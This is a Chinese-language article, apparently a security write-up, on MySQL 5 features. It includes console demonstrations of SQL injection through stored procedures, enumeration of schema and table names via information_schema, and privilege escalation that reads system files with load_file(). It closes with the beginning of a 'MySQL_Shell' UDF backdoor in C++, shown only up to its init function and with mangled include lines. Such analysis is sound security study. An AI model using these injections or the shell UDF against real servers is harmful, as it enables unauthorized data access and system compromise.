Mysql5增加很多新的功能,开始支持:存储过程、触发器、视图、信息架构视图等新特。可以说这些都是发展的必然,但是新的东西的出来,必定也会带来新的安全问题,如Mysql4开始支持union查询、子查询。这直接导致mysql注射更容易、广泛。mysql5的新功能会给安全带来什么新的东西呢?下面我给大家介绍下mysql5在安全方面的特点:

一、password authentication

mysql5的password()和mysql4.1一样,采用的基于SHA1的41位hash:

mysql> select password(’mypass’);
+-------------------------------------------+
| password(’mypass’) |
+-------------------------------------------+
| *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |
+-------------------------------------------+
1 row in set (0.00 sec)

在mysql4.1以前的password hashes是基于16位md5:

mysql> SELECT PASSWORD(’mypass’);
+--------------------+
| PASSWORD(’mypass’) |
+--------------------+
| 6f8c114b58f2ce9e |
+--------------------+

当使用低版本的Client连接时,回出现错误:Client does not support authentication protocol,为了解决这个问题,mysql5提供了一个old_password(),就相当于mysql4.1以前的的password():

mysql> select old_password(’mypass’);
+------------------------+
| old_password(’mypass’) |
+------------------------+
| 6f8c114b58f2ce9e |
+------------------------+
1 row in set (0.09 sec)

二、数据字典(information_schema)

和mssql、oracle、db2等数据库一样,mysql5提供了一个系统数据库:

information_schema
mysql> use information_schema;
Database changed
mysql> show tables;
+---------------------------------------+
| Tables_in_information_schema |
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| KEY_COLUMN_USAGE |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| STATISTICS |
| TABLES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| VIEWS |
| USER_PRIVILEGES |
+---------------------------------------+
16 rows in set (0.17 sec)

在这个数据库里我们可以得到很多信息,包括当前用户权限:

mysql> select * from information_schema.USER_PRIVILEGES;
+-----------+---------------+----------------+--------------+
| GRANTEE | TABLE_CATALOG | PRIVILEGE_TYPE | IS_GRANTABLE |
+-----------+---------------+----------------+--------------+
| ’KK1’@’%’ | NULL | USAGE | NO |
+-----------+---------------+----------------+--------------+
1 row in set (0.02 sec)

当前用户权限下可以访问的数据库,表,列名(这个在sql注射中,导致直接暴区数据库,表列名,再也不要‘暴力’咯):

mysql> select TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME from
information_schema.STATIS
TICS;
+--------------+------------+-------------+
| TABLE_SCHEMA | TABLE_NAME | COLUMN_NAME |
+--------------+------------+-------------+
| in | article | articleid |
| in | user | userid |
+--------------+------------+-------------+
2 rows in set (0.02 sec)

还可以得到当前用户权限下的VIEWS,ROUTINES等,关于ROUTINES我们在下面的‘存储过程’里详细介绍。

[ps:注意是‘当前用户权限’如果是root,那么太可以得到所有的数据库名称以及表列名等等]

三、存储过程(Stored Procedures)

’存储过程’的使用是mysql5的一个闪光点,在带来方便的同时,它也带来了新的安全隐患:如sql注射,用户权限提升等等。

D:\mysql5\bin>mysql -uroot -p
Enter password: ******
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 4 to server version: 5.0.18
Type ’help;’ or ’\h’ for help. Type ’\c’ to clear the buffer.
mysql> use in
Database changed
mysql> delimiter //
mysql> CREATE PROCEDURE test(id INT)
-> BEGIN
-> SELECT * FROM in.USER WHERE USERID=ID;
-> END//
Query OK, 0 rows affected (0.08 sec)
mysql> delimiter ;
mysql> call test(1);
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | angel | mypass |
+--------+----------+----------+
1 row in set (0.00 sec)
Query OK, 0 rows affected (0.00 sec)

上面我们使用root在数据库in里创建了一个名为test的存储过程。

a、SQL Injection

mysql> call test(1 and 1=1);
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | angel | mypass |
+--------+----------+----------+
1 row in set (0.00 sec)
Query OK, 0 rows affected (0.01 sec)
mysql> call test(1 and 1=2);
Empty set (0.00 sec)
Query OK, 0 rows affected (0.00 sec)

b、跨权限

存储过程是继承创建者的权限的,如果存储过程是root创建的,当其他普通用户使用这个存储过程时,导致跨权限攻击:

mysql> grant SELECT, INSERT, UPDATE, DELETE, EXECUTE
-> ON `IN`.*
-> TO ’KK1’@’%’
-> IDENTIFIED BY ’OBSCURE’;
Query OK, 0 rows affected (0.03 sec)

上面建立一个KK1的用户只在数据库in中有SELECT, INSERT, UPDATE, DELETE, EXECUTE权限,使用KK1登陆:

D:\mysql5\bin>mysql -uKK1 -p
Enter password: ******
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 5 to server version: 5.0.18
Type ’help;’ or ’\h’ for help. Type ’\c’ to clear the buffer.
mysql> select ROUTINE_SCHEMA,ROUTINE_NAME,DEFINER,
ROUTINE_DEFINITION from inform
ation_schema.ROUTINES;
+----------------+--------------+----------------+--------------------+
| ROUTINE_SCHEMA | ROUTINE_NAME | DEFINER | ROUTINE_DEFINITION |
+----------------+--------------+----------------+--------------------+
| in | test | root@localhost | |
| in | tt | root@localhost | |
+----------------+--------------+----------------+--------------------+
2 rows in set (0.01 sec)

我们可以得到KK1可以使用存储过程in.test 其创建者为root@localhost。不过KK1没有权限得到ROUTINE_DEFINITION 就是in.test的代码。下面看看跨权限:

mysql> call in.test(1 and length(load_file(’c:/boot.ini’))>0);
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | angel | mypass |
+--------+----------+----------+
1 row in set (0.00 sec)
Query OK, 0 rows affected (0.01 sec)
mysql> call in.test(1 and length(load_file(’c:/boot.ini’))<0);
Empty set (0.00 sec)
Query OK, 0 rows affected (0.00 sec)

没有file权限的KK1可以使用in.test使用load_file(),我们还可以直接对mysql.user进行select,如果存储过程可以updata,insert注射,那么我们可以普通用户直接通过注射来修改mysql.user里的数据。

四、User-Defined Function

[ps:下面都是基于win系统]

mysql5的udf在格式和安全方面做一些新的改变:

1、格式要求更加严格[xxx_init()初始化函数]

对于没有xxx_init()初始化函数 在以前的版本是可以使用的,但是在mysql5下会出现Can’t find function ’xxx_init’ in library的错误,如:

mysql> create function ExitProcess returns integer soname ’kernel32’;
ERROR 1127 (HY000): Can’t find function ’ExitProcess_init’ in library

下面给出的代码是好友云舒写的,符合mysql5的udf格式要求可以在mysql5下使用:

/*******************************
* File: MySQL_Shell.cpp
* Author: 云舒(wustyunshu at hotmail dot com)
* Date: 2005-12-12
********************************
#include 
#include 
#include 
#define MAKE_DLL /* Build dll here */
#include "MySQL_Shell.h"
#pragma comment( lib, "ws2_32" )
#define BUFFER_SIZE 1024
//函数原型
/
BOOL StartWith( char *, char * );
void LogMsg( char * );
//
//MySQL模块初始化函数
LIB my_bool shell_init( UDF_INIT *init, UDF_ARGS *args, char *message )
{
if ( args->arg_count != 2 )
{
strcpy( message, "Shell() requires two arguments" );
return 1;
}
if ( (args->arg_type[0] != STRING_RESULT) || (args->arg_type[1] != STRING_RESULT) )
{
strcpy( message, "Shell() requires two string arguent" );
return 1;
}
return 0;
}